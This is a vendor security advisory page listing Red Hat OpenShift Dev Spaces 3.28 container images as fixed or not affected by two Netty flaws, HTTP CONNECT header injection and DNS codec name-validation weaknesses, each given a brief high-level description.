Vendor Fix
fix
|
Known not affected
57 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:7e20cd1d638296bcab93a704bfce3ff7cf6c0f7e632e07e69fcacfedf9e8b120_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:83e1013b0ce89c1f4fc0038c1cb7eab2fd541a6fb1de6a0596fe669a76cde1f4_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:9d47eee451c3d7c7a0c2d83824849ac4053110107997a41df26fe28f9b4749de_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:bb9e332650eb73ce20accc25d8bc73bb935e39e0bc6a9b0e7b163707ae25ce6f_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:0ce3e6baa0af251b5ae5e8cc64de363aa144c420e1416a2a7bf522aefe0b6dd3_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:324758a4c214f743ba3f38eee3ae2c3f42eac80ac4c10801e103fc531d73cf51_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:82994d108c21e3f53c2d87bdec8ddcdb0c0f81c7f1ed93ac996fe83046ea8ed1_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:b1b3d7416bc5c1609fa890229fc0a0809bc1906813bb4834f57dc610f88974c1_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:5bcd49999db0f7ac5fbc2461c7ac50dec267ee8b4f64c95bdcd746188ab0bfa0_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:62ecbc41b3f1d3cd81e9593fdacac8397d1fc3f616717b247346ac218b7a2ff7_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:7ee3d2e13995479495aa2a2f3b7a8f8133f7b69d0e753b00e3fe2ee00416b3a9_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:b52e83ecc17aefda4a83671c267b3086bb5f92d78259c3e3b2b389042bac7230_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-operator-bundle@sha256:f78d91e983f0f8be019382c2fb620a655bf9f8204bd839e9bfb9c35e1ab8fc90_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4757ac1e8c5a53e2d9a7ce896dbcc1232806a47a29470285c6fee9778a2f0b25_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4e4a72be08cf691ee40dc79d2e625a5b59cf709e15219537ee04a1f03a3df23e_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:a5b3c16ca82c2585debbef262d8de80bb8566384c916915d9fce92d233268d1c_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:dd4b506d04a2e7be2c62c53a7e1f60fe828ba7f0fc2aab7f6a752f1a4c4e699b_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:21d1288562fc757e4714cde2c253c077fba1b7762ab4041e8b3f55d9da1e7b82_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:2423f169dcd795c9326d59d953b4507485bf2ef8971f066969dfb2ca921bdf1f_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:5e4c074f39614f529e79c8de011446a0b621fb189485eff0061f95f99f0950f8_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:f1cf981295bdfddb68c8cb83e03da7cbec9aada7dce16586a1508351b11c2e73_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:0de97d2e0e6589cfd3889eca0284154e857c4deef4ab45420e0d75bfc8030252_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:12a042cb9e94c6502b61c6d08a49bc8b81f8d3e23932b08c29566906508801d8_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:25137cf516214eac04d5f1fd2ad9a38658e8fc741600b50b4c44f00db437cf01_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:5cb0df6d628f764eead0f67206b7251b737932ae04f81dd8c1fd416d2c1be455_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:060059363ac7718e9599e0612c95b583b563fac5a6616dfecc9c42413b2a3f56_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:1bd73bae94af4a5be1b62e555df3a1b863f22c427f95d2bbbd24e4ffcce7a264_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:baff02ec968933899873d989d8faf4fb27aedcbca5406009408638678a832b96_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:e9347202b67b4a2ad17b820af7148d4473764996ce1368d5460b6fff2d79935a_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:3eda021137370af8e8cf2c996a7a10733824f1d23e56534efd4f46aa40ce7777_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:af397f83a7394b676299501672623ca9c01b8351db0d73531b0bf325e55558f6_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:b73dc3b1ac96a877aba609233dc0ae60685716b272e3dc1f8db59c23c438049d_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:cef4269f4d91814bc144c94718d6aa59c4e03eab341eebf87ec05e38e7b7e49f_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:06d061cdda5ac9ddd48647c2c86b5ceb5a5f25acc7e314ebb319a690af588209_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:80842e498a91358d73a511ec25acc2a6d26dca76c9f775108778700e8541c252_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:a062fd2a510100fc03a5f14102104a34b2e24bddc5661ac95ed39dad6a5f46b9_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:fbdf611c5aac4e33644ed8eb5a72b88b5c5a6690f24a64a3cff7002a483827d8_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:4f63b37a50013481f95ca70ea3e0baf257601aa86ba6dd3efe5ad039b3170f04_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:56f4b3132a1785e7a323fc9fb5e1d2040d30a7c8d81fd00a42d619a8881e9492_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:e2d0551322d379e77a72218fb37244f8a187e6ff52ae6f61e7b673c2c23ce39f_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:f8200f2b4b8c5cb5a5aef1fa6f8f15297cb720512a0df784629129afc0d5810a_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:0912cc02b70a7cc6895cdfde15647865de99f03880715c6b8e584adf70c14707_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1d4269b06d396a7ec1e952daa47a4bd5b00915d6d0cd5a3270fe471a6a75517b_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1e2b5bff8974b54038cf635faaa293458bcfa2e75a9ee57e2712b30d9b35e0ac_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:6798e67f7d39b831b6c947a50c4420c9d92160079bbd2d62d07b9f991be4abfd_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:1a56d8592fe048ebe0c1549ec0249a5f61842cbb5c58545649b394df98fbae06_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:224939e501ffed4ffe09a5198138486e72b04d1486787a6c4c3abee8cd7dffba_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:c10a24ed873306c38e5d7aa96d9ffa9b71b2e6dac2ee18f557af008ef460d708_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:cb73c78e8214996408490b36f176be3b6d0047a116f705478afd162c8260292d_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:06172d66fc92096c6d1b517ac2edfc35e06255859152ea8aa83ea57bb789bb0b_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:2268f482a70624ca1670675df27f0a6a4e7ea41669f021059ebafbc0465d5411_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:505295ab2811eb723a334501a853eb238c2ec96073f36296226d58fa12aefd3c_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:93ae4574a68c0f16acf2146ab09b56e446fd012697c1194cfa9f4ac717a300c2_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:2f672c4b1bc77639a5ccf2f7f923691aefe2ab2e6e76de830a0727633c80af17_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:763e7470768ecf6551d9d9af7a7a48605ceafaad3e001f48ae08ce94d6facb42_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:80c9c0c3aa02ae7b447c33a8bb9aff07fc243b2b484db28975b79b9007612629_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:8a4c7ae0ffaa1f6d3b87c60d27817a3d1636a5609cf159dce66d80c2f0ad6f9b_arm64 | — |
Threats
Impact
Important
A flaw was found in Netty. The HttpProxyHandler component, which handles HTTP CONNECT requests, does not properly validate user-provided outbound headers. This allows an attacker to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server. This could lead to unexpected behavior or potential bypass of security controls on the proxy server.
7.5 (High)
Affected products
Fixed
12 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:3eda021137370af8e8cf2c996a7a10733824f1d23e56534efd4f46aa40ce7777_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:af397f83a7394b676299501672623ca9c01b8351db0d73531b0bf325e55558f6_ppc64le | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:b73dc3b1ac96a877aba609233dc0ae60685716b272e3dc1f8db59c23c438049d_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:cef4269f4d91814bc144c94718d6aa59c4e03eab341eebf87ec05e38e7b7e49f_s390x | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:06d061cdda5ac9ddd48647c2c86b5ceb5a5f25acc7e314ebb319a690af588209_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:80842e498a91358d73a511ec25acc2a6d26dca76c9f775108778700e8541c252_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:a062fd2a510100fc03a5f14102104a34b2e24bddc5661ac95ed39dad6a5f46b9_s390x | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:fbdf611c5aac4e33644ed8eb5a72b88b5c5a6690f24a64a3cff7002a483827d8_ppc64le | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:4f63b37a50013481f95ca70ea3e0baf257601aa86ba6dd3efe5ad039b3170f04_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:56f4b3132a1785e7a323fc9fb5e1d2040d30a7c8d81fd00a42d619a8881e9492_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:e2d0551322d379e77a72218fb37244f8a187e6ff52ae6f61e7b673c2c23ce39f_ppc64le | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:f8200f2b4b8c5cb5a5aef1fa6f8f15297cb720512a0df784629129afc0d5810a_s390x | — |
Vendor Fix
fix
Workaround
|
Known not affected
49 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:7e20cd1d638296bcab93a704bfce3ff7cf6c0f7e632e07e69fcacfedf9e8b120_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:83e1013b0ce89c1f4fc0038c1cb7eab2fd541a6fb1de6a0596fe669a76cde1f4_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:9d47eee451c3d7c7a0c2d83824849ac4053110107997a41df26fe28f9b4749de_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:bb9e332650eb73ce20accc25d8bc73bb935e39e0bc6a9b0e7b163707ae25ce6f_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:0ce3e6baa0af251b5ae5e8cc64de363aa144c420e1416a2a7bf522aefe0b6dd3_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:324758a4c214f743ba3f38eee3ae2c3f42eac80ac4c10801e103fc531d73cf51_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:82994d108c21e3f53c2d87bdec8ddcdb0c0f81c7f1ed93ac996fe83046ea8ed1_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:b1b3d7416bc5c1609fa890229fc0a0809bc1906813bb4834f57dc610f88974c1_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:5bcd49999db0f7ac5fbc2461c7ac50dec267ee8b4f64c95bdcd746188ab0bfa0_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:62ecbc41b3f1d3cd81e9593fdacac8397d1fc3f616717b247346ac218b7a2ff7_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:7ee3d2e13995479495aa2a2f3b7a8f8133f7b69d0e753b00e3fe2ee00416b3a9_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:b52e83ecc17aefda4a83671c267b3086bb5f92d78259c3e3b2b389042bac7230_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:1cef563af30567f7aba3baeb6fa94494f93ac07350a23fabaa67d079f780f640_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ae7dc192f8ca8c78dc6eb12ef2846b45057e22e183207743aad9261fb5adcb6e_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ca07c7ae5cdcf93df21348d92c4828e4615b324f2f765907b3459f0d5090c628_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:dee20a799ccf5bae94ed50fd2d79ea162cd7384990427db93281fe590d6c7767_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-operator-bundle@sha256:f78d91e983f0f8be019382c2fb620a655bf9f8204bd839e9bfb9c35e1ab8fc90_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4757ac1e8c5a53e2d9a7ce896dbcc1232806a47a29470285c6fee9778a2f0b25_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4e4a72be08cf691ee40dc79d2e625a5b59cf709e15219537ee04a1f03a3df23e_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:a5b3c16ca82c2585debbef262d8de80bb8566384c916915d9fce92d233268d1c_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:dd4b506d04a2e7be2c62c53a7e1f60fe828ba7f0fc2aab7f6a752f1a4c4e699b_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:21d1288562fc757e4714cde2c253c077fba1b7762ab4041e8b3f55d9da1e7b82_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:2423f169dcd795c9326d59d953b4507485bf2ef8971f066969dfb2ca921bdf1f_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:5e4c074f39614f529e79c8de011446a0b621fb189485eff0061f95f99f0950f8_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:f1cf981295bdfddb68c8cb83e03da7cbec9aada7dce16586a1508351b11c2e73_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:0de97d2e0e6589cfd3889eca0284154e857c4deef4ab45420e0d75bfc8030252_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:12a042cb9e94c6502b61c6d08a49bc8b81f8d3e23932b08c29566906508801d8_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:25137cf516214eac04d5f1fd2ad9a38658e8fc741600b50b4c44f00db437cf01_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:5cb0df6d628f764eead0f67206b7251b737932ae04f81dd8c1fd416d2c1be455_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:060059363ac7718e9599e0612c95b583b563fac5a6616dfecc9c42413b2a3f56_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:1bd73bae94af4a5be1b62e555df3a1b863f22c427f95d2bbbd24e4ffcce7a264_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:baff02ec968933899873d989d8faf4fb27aedcbca5406009408638678a832b96_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:e9347202b67b4a2ad17b820af7148d4473764996ce1368d5460b6fff2d79935a_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:0912cc02b70a7cc6895cdfde15647865de99f03880715c6b8e584adf70c14707_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1d4269b06d396a7ec1e952daa47a4bd5b00915d6d0cd5a3270fe471a6a75517b_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1e2b5bff8974b54038cf635faaa293458bcfa2e75a9ee57e2712b30d9b35e0ac_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:6798e67f7d39b831b6c947a50c4420c9d92160079bbd2d62d07b9f991be4abfd_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:1a56d8592fe048ebe0c1549ec0249a5f61842cbb5c58545649b394df98fbae06_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:224939e501ffed4ffe09a5198138486e72b04d1486787a6c4c3abee8cd7dffba_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:c10a24ed873306c38e5d7aa96d9ffa9b71b2e6dac2ee18f557af008ef460d708_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:cb73c78e8214996408490b36f176be3b6d0047a116f705478afd162c8260292d_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:06172d66fc92096c6d1b517ac2edfc35e06255859152ea8aa83ea57bb789bb0b_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:2268f482a70624ca1670675df27f0a6a4e7ea41669f021059ebafbc0465d5411_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:505295ab2811eb723a334501a853eb238c2ec96073f36296226d58fa12aefd3c_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:93ae4574a68c0f16acf2146ab09b56e446fd012697c1194cfa9f4ac717a300c2_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:2f672c4b1bc77639a5ccf2f7f923691aefe2ab2e6e76de830a0727633c80af17_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:763e7470768ecf6551d9d9af7a7a48605ceafaad3e001f48ae08ce94d6facb42_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:80c9c0c3aa02ae7b447c33a8bb9aff07fc243b2b484db28975b79b9007612629_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:8a4c7ae0ffaa1f6d3b87c60d27817a3d1636a5609cf159dce66d80c2f0ad6f9b_arm64 | — |
Workaround
|
Threats
Impact
Important
A flaw was found in Netty. Netty's DNS (Domain Name System) codec does not properly enforce domain name constraints as defined in RFC 1035 during both encoding and decoding processes. This vulnerability allows a remote attacker to exploit the decoder using malicious DNS responses or exploit the encoder through user-influenced hostnames, leading to a high integrity impact on the affected system.
7.5 (High)
Affected products
Fixed
12 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:3eda021137370af8e8cf2c996a7a10733824f1d23e56534efd4f46aa40ce7777_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:af397f83a7394b676299501672623ca9c01b8351db0d73531b0bf325e55558f6_ppc64le | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:b73dc3b1ac96a877aba609233dc0ae60685716b272e3dc1f8db59c23c438049d_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:cef4269f4d91814bc144c94718d6aa59c4e03eab341eebf87ec05e38e7b7e49f_s390x | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:06d061cdda5ac9ddd48647c2c86b5ceb5a5f25acc7e314ebb319a690af588209_arm64 | — |
Vendor Fix
fix
Workaround
|
|
